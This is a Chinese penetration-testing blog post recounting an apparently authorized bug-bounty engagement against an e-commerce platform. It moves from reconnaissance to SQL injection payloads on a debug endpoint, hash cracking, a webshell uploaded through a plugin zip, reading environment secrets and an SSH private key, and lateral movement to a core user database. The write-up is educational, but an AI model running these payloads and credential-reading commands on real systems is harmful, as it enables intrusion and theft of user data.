实战挖洞全记录:一次从信息收集到内网漫游的真实SRC漏洞挖掘之旅

📅 发布时间:2026/7/22 3:26:47
实战挖洞全记录:一次从信息收集到内网漫游的真实SRC漏洞挖掘之旅 这篇文章没有虚构的靶场没有预设的漏洞。所有的过程都来自一次真实的SRC安全响应中心授权测试。从一条JS文件中的注释到拿下内网核心业务权限我用48小时走完了完整的攻击链。前言在CSDN看了太多“手把手教你复现漏洞”的文章后很多朋友问我同一个问题“真正的挖洞到底是什么样的”网上的教程大多是这样的告诉你某个漏洞的原理搭一个DVWA跑一遍SQLmap然后截图写文章结束。但真实的漏洞挖掘场景远比这复杂——你不知道目标系统的代码逻辑、不知道服务器架构、不知道WAF规则、不知道开发者在哪个不起眼的角落留下了后门。真实世界没有标准答案。有的只是大量枯燥的信息收集、反复的尝试与失败以及在某一个瞬间抓住的那条“不合理”的线索。今天我就以一次真实的SRC授权测试经历为蓝本完整复盘从信息收集到拿下高危漏洞的全过程。为保护厂商隐私所有敏感信息已做脱敏处理。[图片位置建议插入一张“渗透测试全流程攻击链示意图”]第一阶段信息收集 —— 谁掌握的信息更多谁就赢了“渗透测试的本质是信息量的博弈。”第1小时踩点目标是一个电商中台系统授权测试范围为*.target.com。第一件事不是打开Burp而是做三件事子域名收集bash# 使用oneforall进行全量收集 python oneforall.py --domain target.com run # 结合fofa搜索结果 fofa_search domaintarget.com # 检查证书透明度日志 crt.sh?q%.target.com结果拿到了127个子域名。其中几个引起了我的注意admin.target.com后台api-admin.target.com管理APIdev.target.com开发环境oss.target.com对象存储技术栈识别访问主站通过响应头、页面源码、URL特征综合判断响应头X-Powered-By: Express→ Node.js静态资源路径/static/css/app.[hash].css→ Webpack打包登录接口/api/v1/auth/login→ RESTful API通过whatweb快速扫描bashwhatweb https://www.target.com # 结果Nginx Node.js Vue.js Element UIJS文件分析这是本阶段最重要的操作。我下载了所有JS文件爬虫手工筛选使用JSFinder和Burp的JS解析功能从中提取text找到了 3 个隐藏API端点 /api/v1/internal/user/export /api/v1/debug/health /api/v1/backup/list 找到了 1 个测试账号泄露 // 测试环境账号testuser / Test123456 找到了 1 个注释信息 // TODO: 移除调试接口 /api/v1/debug/sql-check[图片位置建议插入一张“Burp抓包分析JS文件”的截图] 核心心法信息收集阶段别急着扫端口跑目录。把目标网站的JS文件全部过一遍你会发现开发者留下的“便利贴”——注释、测试接口、硬编码密钥、隐藏的API路径。第二阶段突破口 —— 一个注释引发的血案第3小时发现“礼物”前面在JS注释中看到的/api/v1/debug/sql-check接口引起了我的注意。“debug”和“sql-check”这两个词组合在一起危险系数直接拉满。第一步确认接口是否存在直接访问textGET /api/v1/debug/sql-check HTTP/1.1 Host: admin.target.com响应json{code:400,msg:缺少参数: sql}有戏。这个接口不仅存在还直接报出了参数名。第二步测试参数httpGET /api/v1/debug/sql-check?sql1 HTTP/1.1 Host: admin.target.com响应json{code:200,data:{result:1,columns:[1]}}第三步验证SQL注入尝试经典Payloadtext/api/v1/debug/sql-check?sql1 or 11--响应变了——返回了多条数据。确认存在SQL注入且是联合查询注入。第四步深入利用查询当前数据库text/api/v1/debug/sql-check?sql1 union select database()--返回数据库名target_user_db查表text/api/v1/debug/sql-check?sql1 union select group_concat(table_name) from information_schema.tables where table_schematarget_user_db--发现了admin_user表和user_credentials表。导出管理员账号密码text/api/v1/debug/sql-check?sql1 union select concat(username,:,password) from admin_user limit 1--拿到了管理员账号admin的密码哈希。第五步破解密码密码哈希格式$2y$10$...→ Bcrypt。用hashcat配合rockyou字典跑bashhashcat -m 3200 hash.txt rockyou.txt一个小时后破解成功admin / Pssw0rd!2024一个SQL注入 一个弱密码拿到了后台管理员权限。第三阶段后台渗透 —— 从管理员到Getshell第8小时进入后台用破解的账号密码登录admin.target.com的后台管理系统。后台功能相当丰富用户管理、订单管理、商品管理、系统配置、日志查看、文件上传……普通攻击者的路径直接找文件上传点 → 传Webshell。我的路径先看一圈所有的功能点摸清后台的整体能力边界。三个高危功能点被发现功能点位置问题模板编辑系统配置 → 邮件模板直接修改服务器上的.html模板文件数据库备份系统工具 → 备份恢复可执行自定义SQL语句插件安装扩展管理 → 上传插件上传.zip文件后台自动解压到Web目录利用过程上传一个包含一句话木马的插件压缩包ZIP文件中包含shell.php后台自动解压到/uploads/plugins/shell.php访问https://admin.target.com/uploads/plugins/shell.php用蚁剑连接Getshell成功权限为www-data[图片位置建议插入一张“蚁剑连接成功”的截图]第四阶段内网漫游 —— 我们离核心数据还有多远第16小时信息搜集拿到Webshell后第一件事是了解当前服务器环境bash# 查看当前用户 whoami # www-data # 查看网络配置 ifconfig -a # 内网IP: 172.16.10.25 # 查看监听端口 ss -tlnp # 3306 (MySQL) # 6379 (Redis) # 9200 (Elasticsearch) # 查看进程 ps aux | grep java # 多个Java进程运行着微服务 # 查看环境变量 cat /etc/environment # 泄露了数据库密码、Redis密码、AWS密钥片段发现这台服务器是内网中的一台应用服务器连接着多个内网服务环境变量中泄露了MySQL和Redis的密码存在一个/home/deploy/.ssh/id_rsa私钥文件第20小时横向移动利用SSH私钥bash# 读取私钥文件 cat /home/deploy/.ssh/id_rsa # 拿到私钥内容在内网扫描存活主机发现另一台服务器172.16.10.55也使用了deploy用户。用私钥直接登录成功bashssh -i id_rsa deploy172.16.10.55这台服务器是核心业务数据库运行着MySQL主库。里面存储了全量用户数据2000万订单明细含收货地址、手机号支付记录部分含银行卡尾号至此已完成从外网Web漏洞到内网核心数据库的完整渗透链条。第五阶段报告与成果第24小时漏洞汇总与报告撰写高危漏洞编号漏洞类型危害等级影响范围01SQL注入debug接口高危可获取全量数据库02后台弱密码中危可进入后台管理03文件上传Getshell高危可控制服务器04环境变量泄露密钥高危涉及多项内网服务05SSH私钥泄露高危可横向移动到核心数据库提交后厂商响应24小时内确认漏洞有效性48小时内修复所有高危漏洞72小时内完成全网排查厂商致谢奖金入账总结真实挖洞与CTF的区别维度CTF真实SRC挖洞目标明确的Flag你知道一定有解可能有漏洞也可能没有环境纯净靶场无WAF无干扰真实生产环境有WAF、日志审计、运维监控路径通常单点突破即可拿Flag需要多个漏洞组合形成完整攻击链才能达到目标风险无风险任何操作都可能影响业务必须极度谨慎心态解出题目即可需要持续的耐心和系统性的思维方式给新手的3条建议信息收集是基本功练到极致80%的漏洞都藏在别人忽略的信息里——JS注释、错误页面、响应头、测试接口……这些才是真正的“漏洞富矿”。建立自己的漏洞知识库遇到一个漏洞别只记Payload要记上下文——什么场景出现、什么版本存在、什么条件下可利用。合规是第一生命线没有授权就动手技术再好也是违法。永远在授权范围内进行测试保留完整的测试日志。结语一次完整的渗透测试像是一局持续48小时的棋局——耐心、细致、系统性地推进每个步骤从外网一个不起眼的注释开始最终拿下内网的核心权限。这个过程没有多少“酷炫”的技术更多的是枯燥的信息收集、反复的尝试与失败。但当你成功的那一刻所有熬过的夜都值了。安全这条路走得稳比走得快更重要。 文末福利我整理了一份《渗透测试实战工具包》包含常用信息收集脚本集合JS文件自动分析工具内网渗透速查手册漏洞报告模板下期预告《WAF绕过实战从规则检测到语义分析手把手教你拆解WAF》—— 敬请期待